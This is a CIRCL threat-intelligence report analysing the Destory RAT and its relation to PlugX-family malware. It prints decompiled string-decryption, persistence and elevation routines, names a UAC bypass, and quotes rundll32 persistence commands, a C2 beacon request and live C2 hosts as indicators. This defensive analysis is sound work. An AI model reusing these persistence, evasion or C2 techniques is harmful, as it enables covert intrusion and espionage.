Overview
CIRCL analyzed a malware sample which was only sporadically detected by just a handful antivirus engines, based on heuristic detection. CIRCL analyzed the entire command structure of the malware and was able to attribute this specific malware to the Destory RAT family. The malware is a feature-rich Remote Access Tool.
The malware is used by a specific group of attackers specialized in industrial espionage starting from 2007 (Command Five). CIRCL published this report about Destory RAT family due to the regular confusion with the PlugX malware family. PlugX and Destory RAT malware are technically different for their respective initialization phase, utilized obfuscation techniques and other parts that will be outlined in this document, showing that both families are initially coming from the same malware writers, following the same internal and network communication protocols and using the same code for the vast majority of the code.
All known malware family members (PlugX, Gulpix, Korplug, Destory, Thoper, Sogu, TVT) are briefly discussed in this document, showing differences and similarities that could lead to the assumption that an initial code base has been shared among different teams and used/enhanced for different purposes.
Static Analysis
Sample A
Hashes:
Type | Hash |
---|---|
MD5 | 801389d08baa4144018460fbe95da5ea |
SHA1 | c1f8738b3d7ef40177becc0ffde9321a03ef961a |
SHA-256 | 217fe60d2ecea69055f93e86225e3596709f2e1baf458476d340726fdc8d5653 |
ssdeep | 3072:G1705dXa7hDQiO1rQVHQ9haRPvo7oAfuSA2GR2N+S8f9:GNcdXL1rQVHehaRPvo7oAW8kQO9 |
VirusTotal results for sample A
No detections
File characteristics
Meta data
Name: win3dx.DLL
Size: 206848 bytes
Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Date: 0x4E5DB013 [Wed Aug 31 03:52:51 2011 UTC]
EP: 0x10001b10 .text 0/5
CRC: Claimed: 0x0, Actual: 0x32b19 [SUSPICIOUS]
Resource entries
We will not speculate about the following, instead we leave it to the reader to make an educated guess (or to discuss the possible scenarios):
Name RVA Size Lang Sublang Type
--------------------------------------------------------------------------------
RT_DIALOG 0x9b340 0x9c LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED data
RT_VERSION 0x9b0a0 0x29c LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED data
Version info
LegalCopyright: Copyright (C) 2011
InternalName: SafeSvc.exe
FileVersion: 1.0.0.1
CompanyName: SafeSvc
ProductName: SafeSvc
ProductVersion: 1.0.0.1
FileDescription: SafeSvc
OriginalFilename: SafeSvc.exe
Translation: 0x0409 0x04b0
Sections
Entropy analysis by section reveals high amount of randomness in .data and .rdata section, which is an indicator for compressed/encrypted content, which later turns out to be the case.
Name VirtAddr VirtSize RawSize Entropy
--------------------------------------------------------------------------------
.text 0x1000 0x2a29e 0x2a400 6.392526
.rdata 0x2c000 0x3f36 0x4000 7.058395 [SUSPICIOUS]
.data 0x30000 0x6aa2e 0xa00 7.302812 [SUSPICIOUS]
.rsrc 0x9b000 0x3e0 0x400 3.064398
.reloc 0x9c000 0x31d6 0x3200 6.426904
SECTION 1 (.text ):
virtual size : 0002A29E ( 172702.)
virtual address : 00001000
section size : 0002A400 ( 173056.)
offset to raw data for section: 00000400
offset to relocation : 00000000
offset to line numbers : 00000000
number of relocation entries : 0
number of line number entries : 0
alignment : 0 byte(s)
Flags 60000020:
text only
Executable
Readable
SECTION 2 (.rdata ):
virtual size : 00003F36 ( 16182.)
virtual address : 0002C000
section size : 00004000 ( 16384.)
offset to raw data for section: 0002A800
offset to relocation : 00000000
offset to line numbers : 00000000
number of relocation entries : 0
number of line number entries : 0
alignment : 0 byte(s)
Flags 40000040:
data only
Readable
SECTION 3 (.data ):
virtual size : 0006AA2E ( 436782.)
virtual address : 00030000
section size : 00000A00 ( 2560.)
offset to raw data for section: 0002E800
offset to relocation : 00000000
offset to line numbers : 00000000
number of relocation entries : 0
number of line number entries : 0
alignment : 0 byte(s)
Flags C0000040:
data only
Readable
Writable
SECTION 4 (.rsrc ):
virtual size : 000003E0 ( 992.)
virtual address : 0009B000
section size : 00000400 ( 1024.)
offset to raw data for section: 0002F200
offset to relocation : 00000000
offset to line numbers : 00000000
number of relocation entries : 0
number of line number entries : 0
alignment : 0 byte(s)
Flags 40000040:
data only
Readable
SECTION 5 (.reloc ):
virtual size : 000031D6 ( 12758.)
virtual address : 0009C000
section size : 00003200 ( 12800.)
offset to raw data for section: 0002F600
offset to relocation : 00000000
offset to line numbers : 00000000
number of relocation entries : 0
number of line number entries : 0
alignment : 0 byte(s)
Flags 42000040:
data only
Discardable
Readable
Export table
Flags : 00000000
Time stamp : Wed Aug 31 05:52:51 2011
Version : 0.0
DLL name : Rfu.
Ordinals base : 1. (00000001)
# of Addresses: 18. (00000012)
# of Names : 18. (00000012)
1. 00001DE0 SdxdAnr
2. 00001E10 SdxdCukhl
3. 00001C40 SdxdDlfisr
4. 00001C10 SdxdEfck
5. 00001E70 SdxdFcfgy
6. 00001DF0 SdxdFunq
7. 00001CD0 SdxdGivnlc
8. 00001E60 SdxdLj
9. 00001C00 SdxdLjykq
10. 00001C20 SdxdMs
11. 000019F0 SdxdPv
12. 00001E40 SdxdPyyiw
13. 00001DD0 SdxdRhio
14. 00001BE0 SdxdTvdxj
15. 00001E80 SdxdUdfae
16. 00001E20 SdxdWmnq
17. 00001BF0 SdxdWqn
18. 00001D40 SdxdZbvge
Import table
Time stamp : 00000000: not bound
ForwarderChain: 00000000
DLL name : 0002F94E: KERNEL32.dll
Name table : 0002F5E4
Address table : 0002C088
1. hint=0125 FileTimeToSystemTime
2. hint=0203 GetLocalTime
3. hint=0447 SetConsoleTitleA
4. hint=0107 EnumSystemCodePagesA
5. hint=02CF HeapFree
6. hint=0003 AddAtomA
7. hint=04CB TransmitCommChar
8. hint=023C GetPrivateProfileIntW
9. hint=0060 CompareFileTime
10. hint=02CC HeapCompact
11. hint=0098 CreateMailslotA
12. hint=0484 SetProcessWorkingSetSize
13. hint=0424 SetCommMask
14. hint=04B2 Sleep
15. hint=0069 ConvertDefaultLocale
16. hint=0156 FlushConsoleInputBuffer
17. hint=02DC InitAtomTable
18. hint=041E SetCalendarInfoA
19. hint=039A PulseEvent
20. hint=0204 GetLocaleInfoA
21. hint=01C8 GetDateFormatW
22. hint=015C FoldStringW
23. hint=033C LoadLibraryA
24. hint=0245 GetProcAddress
25. hint=01E7 GetFileAttributesExW
26. hint=00FA EnumLanguageGroupLocalesW
27. hint=008F CreateFileW
28. hint=0202 GetLastError
29. hint=0466 SetFilePointer
30. hint=0525 WriteFile
31. hint=0052 CloseHandle
32. hint=0531 WriteProfileStringA
33. hint=015A FlushViewOfFile
34. hint=02F7 IsBadReadPtr
35. hint=0293 GetTickCount
Time stamp : 00000000: not bound
ForwarderChain: 00000000
DLL name : 0002FADA: USER32.dll
Name table : 0002F674
Address table : 0002C118
1. hint=00EF EnumThreadWindows
2. hint=0220 OemKeyScan
3. hint=0265 ReleaseDC
4. hint=0007 AnimateWindow
5. hint=010E GetClassInfoW
6. hint=0112 GetClassNameW
7. hint=02CA SetWindowTextA
8. hint=031D ValidateRgn
9. hint=01A3 GetWindowTextW
10. hint=014B GetMenu
11. hint=00CE DrawTextExA
12. hint=011B GetClipboardViewer
13. hint=009B DefWindowProcA
14. hint=0113 GetClassWord
15. hint=00F8 FindWindowExA
16. hint=0009 AppendMenuA
17. hint=027E SendNotifyMessageW
18. hint=0032 CharPrevA
19. hint=0025 ChangeDisplaySettingsExW
20. hint=0037 CharToOemBuffW
21. hint=0329 WinHelpW
22. hint=010D GetClassInfoExW
23. hint=015F GetMonitorInfoW
Time stamp : 00000000: not bound
ForwarderChain: 00000000
DLL name : 0002FBF4: GDI32.dll
Name table : 0002F5A8
Address table : 0002C04C
1. hint=01D2 GetEnhMetaFileDescriptionA
2. hint=021B GetTextExtentExPointW
3. hint=022D GetWorldTransform
4. hint=02A4 SetTextAlign
5. hint=0221 GetTextExtentPointW
6. hint=0267 ResetDCW
7. hint=02B5 StrokeAndFillPath
8. hint=002E CreateColorSpaceW
9. hint=0290 SetICMProfileW
10. hint=023E OffsetViewportOrgEx
11. hint=0200 GetPaletteEntries
12. hint=01A7 GetBitmapBits
13. hint=0041 CreateFontW
14. hint=0253 PolyPolyline
Time stamp : 00000000: not bound
ForwarderChain: 00000000
DLL name : 0002FD94: ADVAPI32.dll
Name table : 0002F55C
Address table : 0002C000
1. hint=022F ReadEventLogW
2. hint=0176 InitializeAcl
3. hint=0021 AllocateLocallyUniqueId
4. hint=01EB ObjectDeleteAuditAlarmA
5. hint=0147 GetSecurityDescriptorControl
6. hint=0285 RegisterServiceCtrlHandlerA
7. hint=0175 ImpersonateSelf
8. hint=0051 CheckTokenMembership
9. hint=00FC EnumDependentServicesA
10. hint=00D8 DecryptFileW
11. hint=0136 GetLengthSid
12. hint=0231 RegConnectRegistryA
13. hint=0180 IsTextUnicode
14. hint=003B BackupEventLogW
15. hint=02B6 SetSecurityDescriptorDacl
16. hint=02B9 SetSecurityDescriptorRMControl
17. hint=0158 GetSidSubAuthorityCount
18. hint=023D RegDeleteKeyA
Strings
The strings embedded in clear text are corresponding to the import and export section’s names as well as the DLL name itself (‘Rfu.’). This indicates that the remaining strings are encrypted/encoded in some or other way.
Sleep
GetTickCount
IsBadReadPtr
FlushViewOfFile
WriteProfileStringA
CloseHandle
WriteFile
SetFilePointer
GetLastError
CreateFileW
EnumLanguageGroupLocalesW
GetFileAttributesExW
GetProcAddress
LoadLibraryA
FoldStringW
GetDateFormatW
GetLocaleInfoA
PulseEvent
SetCalendarInfoA
InitAtomTable
FlushConsoleInputBuffer
ConvertDefaultLocale
SetCommMask
SetProcessWorkingSetSize
CreateMailslotA
HeapCompact
CompareFileTime
GetPrivateProfileIntW
TransmitCommChar
AddAtomA
HeapFree
EnumSystemCodePagesA
SetConsoleTitleA
GetLocalTime
FileTimeToSystemTime
KERNEL32.dll
GetClassInfoExW
WinHelpW
CharToOemBuffW
ChangeDisplaySettingsExW
CharPrevA
SendNotifyMessageW
AppendMenuA
FindWindowExA
GetClassWord
DefWindowProcA
GetClipboardViewer
GetMonitorInfoW
DrawTextExA
GetMenu
GetWindowTextW
ValidateRgn
SetWindowTextA
GetClassNameW
GetClassInfoW
AnimateWindow
ReleaseDC
OemKeyScan
EnumThreadWindows
USER32.dll
GetTextExtentPointW
ResetDCW
StrokeAndFillPath
CreateColorSpaceW
SetICMProfileW
OffsetViewportOrgEx
GetPaletteEntries
GetBitmapBits
CreateFontW
PolyPolyline
SetTextAlign
GetWorldTransform
GetTextExtentExPointW
GetEnhMetaFileDescriptionA
GDI32.dll
SetSecurityDescriptorDacl
SetSecurityDescriptorRMControl
GetSidSubAuthorityCount
BackupEventLogW
IsTextUnicode
RegConnectRegistryA
GetLengthSid
DecryptFileW
EnumDependentServicesA
CheckTokenMembership
ImpersonateSelf
RegisterServiceCtrlHandlerA
GetSecurityDescriptorControl
ObjectDeleteAuditAlarmA
AllocateLocallyUniqueId
InitializeAcl
ReadEventLogW
RegDeleteKeyA
ADVAPI32.dll
Rfu.
SdxdAnr
SdxdCukhl
SdxdDlfisr
SdxdEfck
SdxdFcfgy
SdxdFunq
SdxdGivnlc
SdxdLj
SdxdLjykq
SdxdMs
SdxdPv
SdxdPyyiw
SdxdRhio
SdxdTvdxj
SdxdUdfae
SdxdWmnq
SdxdWqn
SdxdZbvge
Analysis of Sample A
Initialization phase I
In a first initialization phase, the malware performs the following actions:
- resolving addresses of wsprintfA and wsprintfW (which is used early for the exception handling in (6))
- determining system and operational directories (in dependency of operating system)
- determining filename of itself (from the running image)
- setting global write Event (used for threat synchronization)
- reading config (including hostname of command and control server and file/server name)
- setting exception handler
Point 5 is rather interesting: if the malware finds out to be run in demo mode, it would pop-up a message box saying ‘Config Destory’ (as in the incorrect spelling). This is where the malware family name is coming from. PlugX does a similar thing, calling a message box saying “THIS IS A DEMO VERSION!!!”.
Characteristical string decryption
In contrast to many other malicious software that achieves to hide self-revealing strings from the analyst, almost every single string that is being used within this malware is decrypted during runtime, on-the-fly, only when explicitly needed and it is taken care that the decrypted string is wiped immediately after its use.
Example: dec_string=decrypt(enc_string) -> pAddress=GetProcAddress(dec_string) -> wipe(dec_string)
decrypted_str_wsprintfA = decrypt_string(&decrypted, &encrypted, 10, 0xB9F8BB34, &dec_buffer);
lpProcName_wsprintfA = return(decrypted_str_wsprintfA);
wsprintfA = get_procaddress(&user32_dll_0, lpProcName_wsprintfA);
wipe_memory(&decrypted);
struct_decrypt *__thiscall decrypt_string(struct_decrypt *this, int encrypted, int len, int key, int decrypted)
{
int i;
int a;
int b;
int c;
int d;
this->len = len;
this->decrypted = decrypted;
a = key;
b = key;
c = key;
d = key;
for ( i = 0; i < len; ++i )
{
d = 0xFFFFFFF9 * d - 3;
a = 0xFFFFFFE1 * a - 5;
b = 0x81 * b + 7;
c = 0x201 * c + 9;
*(this->decrypted + i) = (c + b + a + d) ^ *(i + encrypted);
}
return this;
Right after the decrypted string is no longer of any use, it is wiped by overwriting the memory with zeros:
int __thiscall wipe_memory(int this)
{
int result;
int i;
for ( i = 0; i < *(this + 4); ++i )
{
*(*this + i) = 0;
result = i + 1;
}
return result;
For the analyst, keeping the strings intact is much more convenient. Patching the function by replacing some instructions with NOPs is an option.
Initialization phase II
The second phase is initiated with a check regarding how the malware has been executed. If the filename of the DLL is not CRYPTBASE.DLL, the following new process is created with CreateProcessW, before the calling process is terminated:
rundll32.exe win3dx.DLL,SdxdPv 0
Calling the file with rundll32.exe has an interesting side effect: the malware is immune against Microsoft AppLocker.
Initialization phase III
The new process is calling function ordinal #11 (SdxdPv), the sole exported function with actual functionality. The next argument ‘0’ is evaluated in the evaluate_commandline() function:
int evaluate_commandline()
{
const WCHAR *lpCommandLine;
int arg;
bool match;
struct_hMem *hMem;
int pNumArgs;
pNumArgs = 0;
lpCommandLine = GetCommandLineW_0();
hMem = CommandLineToArgvW_0(lpCommandLine, &pNumArgs);
if ( pNumArgs >= 4 )
{
match = lstrcmpiW_0(hMem->argument, "0") == 0;
if ( match )
{
make_persistent_and_run();
EXIT:
LocalFree_0(hMem);
ExitProcess_0(0);
}
match = lstrcmpiW_0(hMem->argument, "1") == 0;
if ( match )
{
make_persistent_and_exit();
goto EXIT;
}
match = lstrcmpiW_0(hMem->argument, "2") == 0;
if ( match )
{
initialize_Keylogger();
goto EXIT;
}
match = lstrcmpiW_0(hMem->argument, "3") == 0;
if ( match )
{
control_threads(0);
goto EXIT;
}
}
}
Accordingly, make_persistent_and_run() is executed.
LSTATUS execute_depending_on_elevation_type()
{
LSTATUS result;
struct _OSVERSIONINFOW VersionInformation;
VersionInformation.dwOSVersionInfoSize = 284;
if ( GetVersionExW_0(&VersionInformation) )
{
if ( VersionInformation.dwMajorVersion != 5 || VersionInformation.dwMinorVersion )
{
if ( VersionInformation.dwMajorVersion != 5 || VersionInformation.dwMinorVersion != 1 )
{
if ( VersionInformation.dwMajorVersion != 5 || VersionInformation.dwMinorVersion != 2 )
{
if ( VersionInformation.dwMajorVersion != 6 || VersionInformation.dwMinorVersion )
{
if ( VersionInformation.dwMajorVersion != 6 || VersionInformation.dwMinorVersion != 1 )
result = make_persistent_in_autorun_and_run();// -> 6.2, 6.3 (Windows 8.x)
else
result = make_persistent_and_run_on_Windows_7();// -> 6.1 (Windows 7)
}
else
{
result = make_persistent_and_run_on_Windows_Vista();// -> 6.0 (Windows Vista)
}
}
else
{
result = make_persistent_and_run_on_XP();// -> 5.2 (Server 2003, XP x64)
}
}
else
{
result = make_persistent_and_run_on_XP();// -> 5.1 (Windows XP)
}
}
else
{
result = return_50(); // -> 5.0 (Windows 2000)
}
}
else
{
result = RtlGetLastWin32Error_0();
}
return result;
When the malware author created this decision tree, he might have abused illegal substances. If the malware author thinks this statement is an injustice because the weird logic is just a decompiler artifact, he is invited to contact us.
Depending on the version of Windows the malware is currently running, different junctions are taken to make the software persistent and to install and run it with the highest possible privileges.
The simplest way is taken in make_persistent_in_autorun_and_run(), where the Autorun key in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run is set to call
rundll32.exe win3dx.DLL,SdxdPv 3
The meaning of option ‘3’ is described in the next chapter.
This function is used for the latest Windows operating systems (Windows 8.x), but is also the fallback method for all other methods described here, when administrative privileges are not available or not exploitable.
In make_persistent_and_run_on_XP(), which is used for Windows XP, the malware is installed as a local service when administrative privileges for the user running the current process are available or if the process is started as SYSTEM user. The service’s name in this case is win3dx and is also calling function SdxdPv of the same malware binary in the context of svchost.exe. On successful installation, the service is started. This happens in the function create_and_start_service(), which is also reused in similar contexts.
Without administrative privileges, the aforementioned fallback to make_persistent_in_autorun_and_run() is taken.
On Windows 7, if administrative privileges are available, create_and_start_service() is called.
int make_persistent_and_run_on_Windows_7()
{
int result;
int is_a_user;
int is_an_administrator;
int elevation_type;
result = is_user(&is_a_user);
if ( !result )
{
if ( is_a_user )
{
result = is_administrator(&is_an_administrator);
if ( !result )
{
if ( is_an_administrator )
{
result = get_token_elevation(&elevation_type);
if ( !result )
{
switch ( elevation_type )
{
case TokenElevationTypeDefault:
result = create_and_start_service();
break;
case TokenElevationTypeFull:
result = create_and_start_service();
break;
case TokenElevationTypeLimited:
result = use_UAC_evasion();
break;
default:
result = 1359;
break;
}
}
}
else
{
result = make_persistent_in_autorun_and_run();
}
}
}
else
{
result = create_and_start_service();
}
}
return result;
}
Otherwise, a classical UAC evasion technique is used (using sysprep.exe and CRYPTBASE.DLL) to run the code. If none of this is possible, installation is done in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, unless the context is SYSTEM, which would lead to create_and_start_service(), too.
In Windows Vista, the logic is very similar, except that use_UAC_evasion() is replaced with ShellExecute_elevate_with_runas():
pExecInfo.cbSize = 60;
pExecInfo.lpFile = L"RUNDLL32.EXE";
pExecInfo.lpParameters = "rundll32.exe win3dx.DLL,SdxdPv 0";
pExecInfo.lpVerb = L"RUNAS";
pExecInfo.nShow = 1;
pExecInfo.fMask = 0;
while ( !ShellExecuteExW_0(&pExecInfo) && RtlGetLastWin32Error_0() == ERROR_CANCELLED )
Post-initialization (main loop)
When function SdxdPv is called with option ‘3’, the main part of the malicious software starts. First, WSAStartup is called and privileges are adjusted (SeDebugPrivilege, SeTcbPrivilege). Immediately after, a couple of threads is being started:
- CXGather::GtProc - thread management and thread communication
- Cxsniffer::Snifferproc - network sniffer
- CXSessionServer::SsStartProc - starts pipe communication (CXSessionServer::SsStartPipe)
- Keylogger - logging user input (rundll32.exe win3dx.DLL,SdxdPv 2)
- CXOnline::OlStartProc - initializes client-to-server communication
As reference, these are the identified functions by internal thread name:
Thread name | Function |
---|---|
CXGather::GtProc | Thread control |
CXOnline::OlStartProc | starts CXOnline::OlStartProcPipe and CXSoHttp::SoWorkProc |
CXOnline::OlStartProcPipe | initializes pipe communication objects and runs initial commands |
CXSessionServer::SsStartPipe | starts pipe communication and evaluates received commands evaluate_commands() |
CXSessionServer::SsStartProc | initializes pipe communication |
CXSniffer::SnifferProc | starts network sniffer |
CXSoHttp::SoWorkProc | stars Internet connection |
CXFuncShell::ShellT1 CXFuncShell::ShellT2 | Remote Shell |
CXFuncSystem::SysMessageBoxProc | shows message box to the screen |
CXFuncTelnet::TelnetT1 CXFuncTelnet::TelnetT2 | Asynchronous Telnet server |
CXOnline::OlStartProc initializes the pipe communication (CXSessionServer::SsStartPipe). It also collects a some information about the computer, the user, the time, windows configuration and a screenshot and registers the client to the server.
From here, everything turns in an endless loop where commands are being evaluated evaluate_commands() and executed accordingly. The commands are in the following table.
Command switch:
The following table shows the commands the malware has implemented as malicious payload. This list of commands is comparable to other known malware families, for instance
Code | Command |
---|---|
0x1000 | status: PerformanceCounter |
0x1001 | start Process, get overview (user, computer, screenshot, …) |
0x1002 | start pipe communication |
0x1003 | echo input back (command, payload, …) |
0x1005 | run dll |
0x2000 | lock workstation |
0x2001 | forcefully log off user |
0x2002 | reboot system forcefully |
0x2003 | shutdown system forcefully |
0x2005 | on-screen message |
0x3000 | collect disk information (drives, types, space) |
0x3001 | find file |
0x3004 | read file (with size and access times) |
0x3007 | write decompressed buffer into file |
0x300A | create directory |
0x300B | test if file can be opened |
0x300C | creates process in hidden window |
0x300D | copy file |
0x300E | get environment info |
0x300F | get malware base directory |
0x4000 | remote desktop |
0x4100 | take screenshot and send |
0x5000 | get process information |
0x5002 | list processes |
0x5004 | terminate process |
0x6000 | service list |
0x6002 | delete service |
0x6003 | change service configuration |
0x6004 | start service |
0x6005 | stop service |
0x7002 | remote shell |
0x7100 | telnet server |
0x7101 | writeConsoleInput |
0x7102 | generateConsoleCtrlEvent |
0x9000 | registry enumerte subkeys |
0x9002 | create key |
0x9003 | delete subkey recursively |
0x9004 | move registry key |
0x9005 | enumerate values from key |
0x9007 | query value or create key and set value |
0x9008 | delete value |
0x9009 | enumerate subkeys or create key and set value |
0xA000 | enumerate network resources |
0xB000 | portmapper |
0xC000 | SQL query |
0xD000 | get TCP table |
0xD002 | get UDP table |
0xD004 | kill TCP connection |
Comparison with other malware from this family
It is pretty interesting to compare this list of commands with the one in Annex D of Command and Control in the Fifth Domain - it is most likely not coincidence that so many function codes are the same for both malwares. That indicates proximity to the Murcy protocol described in the same document:
Match | Code | Command |
---|---|---|
0x1003 | Generate Sxl value from the registry key group. | |
0x1004 | Add Sxl description to registry key. | |
x | 0x2000 | Lock computer. |
x | 0x2001 | Log off. |
x | 0x2002 | Reboot. |
x | 0x2003 | Shutdown. |
0x2004 | Execute file. | |
0x2005 | Execute msg.exe. | |
x | 0x3000 | Get system drive information. |
x | 0x3001 | File search. |
0x3003 | File search. | |
0x300A | Create directory. | |
0x300B | Create process. | |
0x300C | Delete file(s). | |
0x3200 | Perform file operations. | |
x | 0x5000 | Obtain process information. |
x | 0x5002 | Obtain process information. |
x | 0x5004 | Kill process. |
x | 0x6000 | List services. |
x | 0x6002 | Delete service. |
x | 0x6003 | Modify service configuration. |
x | 0x6004 | Start service. |
x | 0x6005 | Stop service. |
0x7000 | Input/output generated in the process with a named pipe. Get environment string. | |
0x8000 | Get environment string. |
It is even more interesting to compare the list of commands with the one reverse engineered by CIRCL in 2013 on a PlugX variant page 11. The commands are basically identical between the two malware samples. And even more interesting, comparison between PlugX code and Destory RAT code
PlugX | Destory | subcommand | Description |
---|---|---|---|
x | 0x1000 | status: PerformanceCounter | |
x | 0x1001 | start Process, get overview (user, computer, screenshot, …) | |
x | 0x1002 | start pipe communication | |
x | 0x1003 | echo input back (command, payload, …) | |
x | 0x1005 | run dll | |
x | x | 0x2000 | lock workstation |
x | x | 0x2001 | shutdown workstation (forced) |
x | x | 0x2002 | reboot workstation |
x | x | 0x2003 | shutdown workstation (graceful) |
x | x | 0x2005 | show messagebox |
x | x | 0x3000 | enumerate drives |
x | x | 0x3001 | find file |
x | 0x3002 | find file recursively | |
x | x | 0x3004 | read file |
x | x | 0x3007 | write file |
x | x | 0x300A | create directory |
x | x | 0x300C | create process on hidden desktop |
x | x | 0x300D | file copy/rename/delete/move |
x | x | 0x300E | get expanded environment string |
x | x | 0x4000 | Remote Desktop capabilities |
x | 0x4004 | send mouse event | |
x | 0x4005 | send keyboard event | |
x | 0x4006 | send CTRL-Alt-Delete | |
x | x | 0x4100 | take screenshot |
x | 0x5000 | create process | |
x | 0x5000 | get process information | |
x | 0x5001 | enumerate processes | |
x | 0x5002 | kill process | |
x | 0x5002 | list processes | |
x | 0x5004 | terminate process | |
x | x | 0x6000 | query service config |
x | 0x6001 | change service config (forced) | |
x | 0x6002 | start service | |
x | 0x6002 | delete service | |
x | 0x6003 | control service | |
x | 0x6004 | delete service | |
x | 0x6004 | terminate process | |
x | 0x6005 | stop service | |
x | x | 0x7002 | start a cmd shell |
x | x | 0x7100 | start telnet server |
x | x | 0x9000 | enumerate keys |
x | 0x9001 | create key | |
x | 0x9002 | delete key | |
x | 0x9002 | create key | |
x | 0x9003 | copy key | |
x | 0x9003 | delete subkey recursively | |
x | 0x9004 | enumerate values | |
x | 0x9004 | move registry keys | |
x | 0x9005 | set value | |
x | 0x9005 | enumerate values for key | |
x | 0x9006 | get value | |
x | 0x9007 | delete value | |
x | 0x9007 | query value or create key and set value | |
x | 0x9008 | delete value | |
x | 0x9009 | enumerate subkeys or create key and set value | |
x | x | 0xA000 | enumerate network resources |
x | x | 0xB000 | starts port mapping |
x | x | 0xC000 | get data source information |
x | 0xC001 | get driver description | |
x | 0xC002 | execute statement | |
x | x | 0xD000 | get TCP table |
x | x | 0xD001 | get UDP table |
x | x | 0xD002 | set TCP entry |
x | 0xE000 | starts key logger thread |
Despite the fact that there are a lot of similarities between the command structures of both versions, it seems the command layout has changed between versions. The internal version of the analyzed PlugX is 20120123
mov dword ptr [ebx], 20120123h
while the version of Destory is 20100921
mov dword ptr [ecx], 20100921h
This version value is contained in several functions taking care of communication back to the C&C server.
So while we are already comparing different samples of malware belonging to this family, we were triggered to compare other samples belonging to this family, according to AV vendors. Often, the names PlugX (Gulpix, Korplug), Destory, Thoper, TVT, and Sogu are used synonymously, as mentioned for instance in http://labs.lastline.com/an-analysis-of-plugx. That’s why we collected the following samples:
Name | Hash |
---|---|
PlugX (MS, Ikarus) Gulpix (Avast) Korplug (Symantec) |
f1f48360f95e1b43e9fba0fec5a2afb8 (decrypted: 6F7AB6849E505D1028A217685AF6FDCD) |
Destory | 801389d08baa4144018460fbe95da5ea |
Thoper.B (MS) | af5395a22d67bf61294b538c8c5eda5b |
Thoper.E (MS) | 281da60d42e35fb61bad400edfd94df0 |
Sogu (Symantec) | 40d6d6a65898256dad7d5a679cab5999 |
TVT (Ikarus) | 642332869cdb6bda8156a43a2779e99d |
We briefly analyzed these samples regarding a set of aspects. The result is displayed in the following table:
Feature | PlugX | Destory | Thoper.B | Thoper.E | Sogu | TVT |
---|---|---|---|---|---|---|
is .dll | x | x | x | x | ||
is .exe | x | x | ||||
contains debug info (pdb) | x | |||||
using signed code | x | |||||
global decryption | x | |||||
on-the-fly decryption | x | x | x | x | x | |
o-t-f decryption of function names | x | x | x | x | ||
contains junk code | x | x | x | x | x | |
has exports | x (18) | x (1) | x (27) | x (69) | x (18) | |
large command func | x | x | x | x | x | |
version 20120123 | x | |||||
version 20100921 | x | x | x | x | x | |
comparable # of features | x | x | x | x | x | x |
Number of functions | ~ 470 | ~ 680 | ~ 700 | ~ 660 | ~ 710 | ~ 800 |
PlugX in the version we analyzed appears to be the most recent of all these, comparing function codes, version string and the interesting (code-signed) start-up phase. But it is not as careful as it’s siblings when it comes to encryption, because it only globally decrypts all strings.
Destory, Thoper and Sogu have almost the same number of functions and are very similar, even if some are run as a DLL and others not.
TVT looks like a hybrid where encrypted and non-encrypted strings are used. Function names for GetProcAddress are always in unencrypted, all other strings use the same on-the-fly decryption method as in the other samples (except PlugX).
If Antivirus vendors have more information about the history of this entire family or if they want to work on this with us, the are welcome to contact us.
Network
The communication is done in HTTP on port 80. The communication mechanism is proxy aware and uses the system wide proxy configuration, if enabled. The author(s) of the malware are lacking attention to detail in the case of the user agent: the string is lacking a closing bracket:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;
Initial requests are done in the format:
POST http://microsoft.operaa.net/update?id=3ca2507c
Accept: */*
X-Session: 0
X-Status: 0
X-Size: 61456
X-Sn: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;
Host: microsoft.operaa.net
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
This is congruent with the facts in the aforementioned document from Command and Control in the Fifth Domain. The document has detailed information about the protocol.
IOCs
Indicators of Compromise following Malware Information Sharing Platform format. If you are an organization/company based in Luxembourg or a TI accredited CERTs, you can request an access to the MISP platform.
MISP UUID is 53886b57-a3d8-43a7-8f4d-472a950d2109.
category | type | value |
---|---|---|
Payload installation | md5 | 801389d08baa4144018460fbe95da5ea |
Payload installation | sha1 | c1f8738b3d7ef40177becc0ffde9321a03ef961a |
Payload installation | sha256 | 217fe60d2ecea69055f93e86225e3596709f2e1baf458476d340726fdc8d5653 |
Payload installation | filename | win3dx.DLL |
Artifacts dropped | pattern-in-memory | win3dx.DLL |
Network activity | hostname | microsoft.operaa.net |
Network activity | ip-dst | 123.254.104.51 |
Network activity | hostname | microsoftno.operaa.net |
Network activity | ip-dst | 111.68.10.83 |
Network activity | ip-dst | 111.68.10.85 |
Network activity | user-agent | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1; |
A MISP XML file is available if you want to import the indicators into MISP or any other threat indicators sharing platform.
Recommendations
- CIRCL recommends to review the IOCs of this report and compare them with servers in the infrastructure of your organization which produce log files including proxies, A/V and system logs.
Server Intel
The server (123.254.104.51 with the PTR record hkhdc.laws.ms) used for this campaign is hosted at AS24544 Pang International Limited in Hong Kong. The subnet is announced by the AS24544 starting from 2012-05-06.
Previously (in 2013), the (111.68.10.83 and 111.68.10.85) server was hosted at NETSEC-HK Unit 1205-1207 in Hong Kong.
Classification of this document
TLP:WHITE information may be distributed without restriction, subject to copyright controls.
Acknowledgment
CIRCL thanks CERT-BUND for sharing Sample A.
References
-
Destory RAT – Forcing the malware towards self-decryption Portcullis Security July 2013
-
Command and Control in the Fifth Domain Command Five Pty Ltd February 2012
Revision
- Version 1.0 June 3, 2014 initial release (TLP:WHITE)